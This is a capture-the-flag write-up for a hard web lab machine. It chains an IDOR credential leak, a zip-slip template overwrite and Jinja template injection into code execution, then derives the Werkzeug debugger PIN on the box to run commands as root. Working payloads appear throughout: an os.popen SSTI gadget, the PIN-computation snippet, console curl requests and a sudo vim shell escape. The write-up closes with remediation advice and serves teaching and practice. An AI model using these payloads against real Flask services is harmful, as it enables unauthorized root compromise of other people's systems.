HACKERDNA · SEVEN LINKS, TWO SERVICES, ONE BROKEN CHAIN

Broken Chain

IDOR leaks an admin password → a zip-slip upload overwrites a template → debug-mode auto-reload turns that into RCE → an internal root backup service on :45678 → its Werkzeug console PIN, computed from the box itself, is root.

MACHINE Broken Chain	CATEGORY Web · Multi-stage	DIFFICULTY Hard · 18% solve
TARGET Flask ×2 · nginx	RESULT 2 / 2 flags	OPERATOR Cody Richard · ssstrickys

TECHNICAL BRIEF · EXECUTIVE SUMMARY

Every control held on its own; the chain between them didn't.

Category **Web + Privesc** · Difficulty **Hard (18% solve)** · Flags **2** · Stack **Flask (blog + backup) behind nginx**

Two Flask services live on the host: a public **blog** on `:8080` and an internal, root-owned **backup service** on `:45678`. An **IDOR** on the blog exposes a "confidential" post that hands over the `dev` admin password. As admin, an **Admin File Upload** extracts zips "to the root directory without path validation" — a **Zip Slip**. Because the blog runs with `debug=True`, Flask auto-reloads templates, so overwriting a rendered template with arbitrary Jinja is **remote code execution** as `ctf` (the user flag).

Local enumeration finds the backup service on `:45678` — **internal service discovery**. It too runs in debug mode, exposing the **Werkzeug interactive console**. Its PIN is derived from machine facts (boot-id, cgroup, MAC) plus the process username — all of which the `ctf` foothold can read — so the PIN is **computed from the box itself**, unlocking a root Python console and the root flag. (The intended route — a passcode-gated path-traversal read feeding a `sudo vim` escalation via the `manager` user — is documented alongside.)

#	LINK	FLAW	RESULT
1	IDOR	unscoped `/post/<id>`	`dev` admin password
2	Zip Slip	`/administrators` extracts under `/app`, no validation	arbitrary file write (ctf)
3	SSTI / RCE	`debug=True` template auto-reload	shell as ctf · user flag
4	Internal discovery	`:45678` root backup service	new attack surface
5	Backup svc exploit	Werkzeug console PIN (computed)	root · root flag

01 · RECONNAISSANCE

A blog in front, a debugger behind

$ NMAP -PN -SV --TOP-PORTS 1000 -T3 RECON

```
22/tcp   open ssh     OpenSSH 10.0
80/tcp   open http    nginx        # static "Server Status" placeholder
8080/tcp open http    Werkzeug 3.1.3 / Python 3.12.11   # Flask "Blog App"
```

The blog supports register/login (session cookie `{"is_admin":0,"username":...}`), posts, comments, and gated `/admin` + `/upload`. Poking a non-integer/oversized post id trips an unhandled exception — and the app runs in **debug mode**, so Werkzeug returns a full traceback: the app is `/app/app.py`, backed by `sqlite3`.

$ GET /POST/<HUGE INT> → 500 (DEBUG TRACEBACK) DEBUG

```
OverflowError: Python int too large to convert to SQLite INTEGER
  File "/app/app.py", line 81, in post
    c.execute("SELECT title, content, user FROM posts WHERE id=?", (post_id,))
# debug=True -> tracebacks + a PIN-locked /console. Remember this.
```

02 · IDOR — THE FIRST CREDENTIAL

Posts have ids, and ids have no owner check

New posts are numbered; mine landed at `/post/3`, so `/post/1` and `/post/2` belong to someone else. They read fine — no access control — and one is a "confidential" maintenance note:

```
$ GET /POST/1 (ANOTHER USER'S POST)                                IDOR

Internal System Access — posted by dev
"CONFIDENTIAL - DO NOT DELETE: Default for testing/maintenance:
 Username=dev Password=sdjshdsjhds4434398###@hello. Please rotate these credentials."
```

Logging in as `dev` yields a session with `{"is_admin":1}` — the admin panel and the file-upload tooling unlock.

03 · ZIP SLIP — ARBITRARY WRITE

The app confesses its own bug

The admin route `/administrators` takes a ZIP and extracts it. Its own HTML source carries a leftover "security team" memo:

GET /ADMINISTRATORS — HTML COMMENT TELL

```
<!-- URGENT: Security Issue in ZIP Upload Feature ...
     The current implementation extracts files to the root directory
     without any path validation. This could allow an attacker to
     overwrite system files or deploy malicious code. -->
```

Python's `zipfile.extractall()` has sanitised traversal since 3.6, so this is a **manual** extractor writing entry names verbatim under the app root (`/app`). Probing with entries at different depths shows which land in the app's served tree — pinning the base without ever seeing the code:

$ PROBE EXTRACTION BASE (WRITE TO STATIC/, READ VIA /STATIC/) ZIP-SLIP

```
zip entry  "templates/x"        -> /app/templates/x     [lands]
zip entry  "../templates/x"     -> /app/templates/x     [lands]   # base ≈ /app
zip entry  "app/templates/x"    -> (miss)
```

04 · ZIP SLIP × DEBUG = RCE

Overwrite a template, and debug mode runs it

Two facts combine into RCE. First: the zip slip writes into `/app/templates/`. Second: `debug=True` sets `TEMPLATES_AUTO_RELOAD`, so a rewritten template is re-read on the next request — and template content is **arbitrary Jinja**. Overwriting a rendered template with a Flask SSTI gadget is code execution:

$ ZIP-SLIP A JINJA RCE GADGET OVER TEMPLATES/UPLOAD.HTML — RCE

```
# zip entry templates/upload.html:
{{ config.__class__.__init__.__globals__['os'].popen(CMD).read() }}
# flask/config.py imports os -> config.__class__.__init__.__globals__['os'] is the os module

$ POST /administrators (zipfile=slip.zip)  →  "File extracted successfully!"
$ GET /upload   →   uid=1000(ctf) gid=1000(ctf)
```

A parameterised template shell (command carried base64 in `?c=`) gives stable execution. The user flag is in `ctf`'s home:

CTF $ CAT /HOME/CTF/FLAG-USER.TXT — USER

```
a30fe0a1-70b7-4ff9-6cb0-02d667fad3ac
```

NOTE

The tags list "SSTI" and "Zip Slip" separately; here they are one primitive — the zip slip provides the write, and template auto-reload provides the Jinja evaluation. Neither alone is RCE; chained, they are.

05 · INTERNAL SERVICE DISCOVERY

A root service the firewall was hiding

From the `ctf` foothold, listeners reveal a service the external scan never saw (it is firewalled): `:45678`, another Werkzeug/Flask app — and it runs as **root**.

CTF $ SS -TLNP ; PS AUX — DISCOVER

```
0.0.0.0:45678  LISTEN                # internal only
   8  ctf   python3 /app/app.py           # the blog (this foothold)
  15  root  python3 /root/server.py       # the backup service on :45678
```

The service answers `/backup` (302 → `/backup/login`, a passcode form) and — tellingly — `/console` with a **Werkzeug interactive console**: debug mode again, this time on a **root** process.

CTF $ CURL 127.0.0.1:45678/CONSOLE — DEBUGGER

```
Console // Werkzeug Debugger    EVALEX = true    SECRET = "b1GjOyJRqtzPbE7SCxtV"
"Console Locked — unlock by entering the PIN."
```

06 · BACKUP SERVICE EXPLOIT → ROOT

The PIN is a function of the machine, and I'm on the machine

Werkzeug's console PIN is a hash of **public bits** (username, `flask.app`, `Flask`, flask's `app.py` path) and **private bits** (`uuid.getnode()` — the MAC — and `get_machine_id()`). Every one of those is readable from the `ctf` foothold, because they are properties of the host, not the process. Rather than re-implement the algorithm, I ran the target's own Werkzeug with the one bit that differs — the process username, which for the root service is `root`:

CTF $ COMPUTE THE ROOT CONSOLE PIN, ON THE BOX — PIN

```
import getpass; getpass.getuser = lambda: 'root'          # the only per-process bit
from werkzeug.debug import get_pin_and_cookie_name
from flask import Flask
pin, cookie = get_pin_and_cookie_name(Flask(__name__))
PIN = 994-106-010
# machine_id = boot_id + cgroup id (/etc/machine-id was empty); node = eth0 MAC
```

Authenticate to the console and execute Python **as root**:

CTF $ PINAUTH + EVAL ON 127.0.0.1:45678 — ROOT

```
$ curl '.../console?__debugger__=yes&cmd=pinauth&pin=994-106-010&s=b1Gj...'
{"auth": true, "exhausted": false}
$ curl '.../console?__debugger__=yes&cmd=__import__("os").popen("id;cat /root/flag-
root.txt").read()&frm=0&s=b1Gj...'
uid=0(root) gid=0(root) groups=0(root)
3c531f2b-e5d2-420d-bc2d-fda53e2810f4
```

07 · THE INTENDED PATH & IMPACT

Backup passcode → path traversal → sudo vim

Reading `/root/server.py` (now, as root) shows the designed route the console PIN short-circuited:

/ROOT/SERVER.PY — THE BACKUP SERVICE — INTENDED

```
ACCESS_CODE = "0923199920"                        # /backup/login passcode
BLACKLISTED_PATHS = ["/root","/etc","/bin", ...] # /backup copy blocklist (misses /home/manager)
@app.route("/viewfile/<path:filename>")           # path-traversal file read AS ROOT
@app.route("/controlpanel/<path:subpath>")

# /etc/sudoers:  manager ALL=(ALL) NOPASSWD: /usr/bin/vim
```

Intended chain: authenticate to `/backup` with `0923199920` → use `/viewfile`/`/controlpanel` path traversal to read root-owned files → recover the `manager` credential (its home holds "backup codes") → as `manager`, `sudo vim -c ':!/bin/sh'` (GTFOBins) → root. Same destination; the exposed debugger console was simply the shorter edge.

ROOT CAUSES & REMEDIATION

- **Debug mode in production (×2).** `debug=True` leaks source via tracebacks, auto-reloads templates (Zip-Slip→RCE), and exposes a PIN-locked console whose PIN is derivable by any local foothold. Never run Werkzeug/Flask debug outside a developer's machine.
- **IDOR.** Enforce per-object authorization on `/post/<id>`; secrets do not belong in post bodies.
- **Unsafe archive extraction.** Validate every entry path (reject `../`absolute) or use `extractall()` and confirm the resolved path stays within the target dir.
- **Root web service + traversal read.** Don't run network services as root; constrain `<path:...>` routes and canonicalize against an allow-listed base.
- **Sudo to an editor.** `sudo vim` is a shell (GTFOBins). Scope sudo to specific, non-interactive commands.

LESSON

The name is the lesson: each control — the login, the upload guard, the backup passcode, the sudo rule — was individually plausible. The compromise lives entirely in the *links* between them, and debug mode welded several of those links shut for the attacker.

APPENDIX · LEDGER

Flags, credentials & surface

USER	a30fe0a1-70b7-4ff9-6cb0-02d667fad3ac	CAPTURED
ROOT	3c531f2b-e5d2-420d-bc2d-fda53e2810f4	CAPTURED

CREDENTIAL / SECRET LEDGER

SECRET	VALUE	RECOVERED VIA
dev (blog admin)	sdjshdsjhds4434398###@hello	IDOR `/post/1`
backup passcode	0923199920	`/root/server.py` (post-root)
console PIN (:45678)	994-106-010	computed on-box (username=root)

ATTACK SURFACE REFERENCE

- idor — `/post/<id>` no owner check.
- zip-slip — `POST /administrators`, entry `templates/upload.html`.
- rce — `debug=True` template auto-reload → Jinja gadget.
- internal — `:45678` root backup svc.
- root — Werkzeug console PIN `994-106-010`.
- intended — code `0923199920` → `/viewfile` traversal → `sudo vim`.

Solved 2/2 flags on an 18%-solve Hard box. Seven links; the break was always in the joins.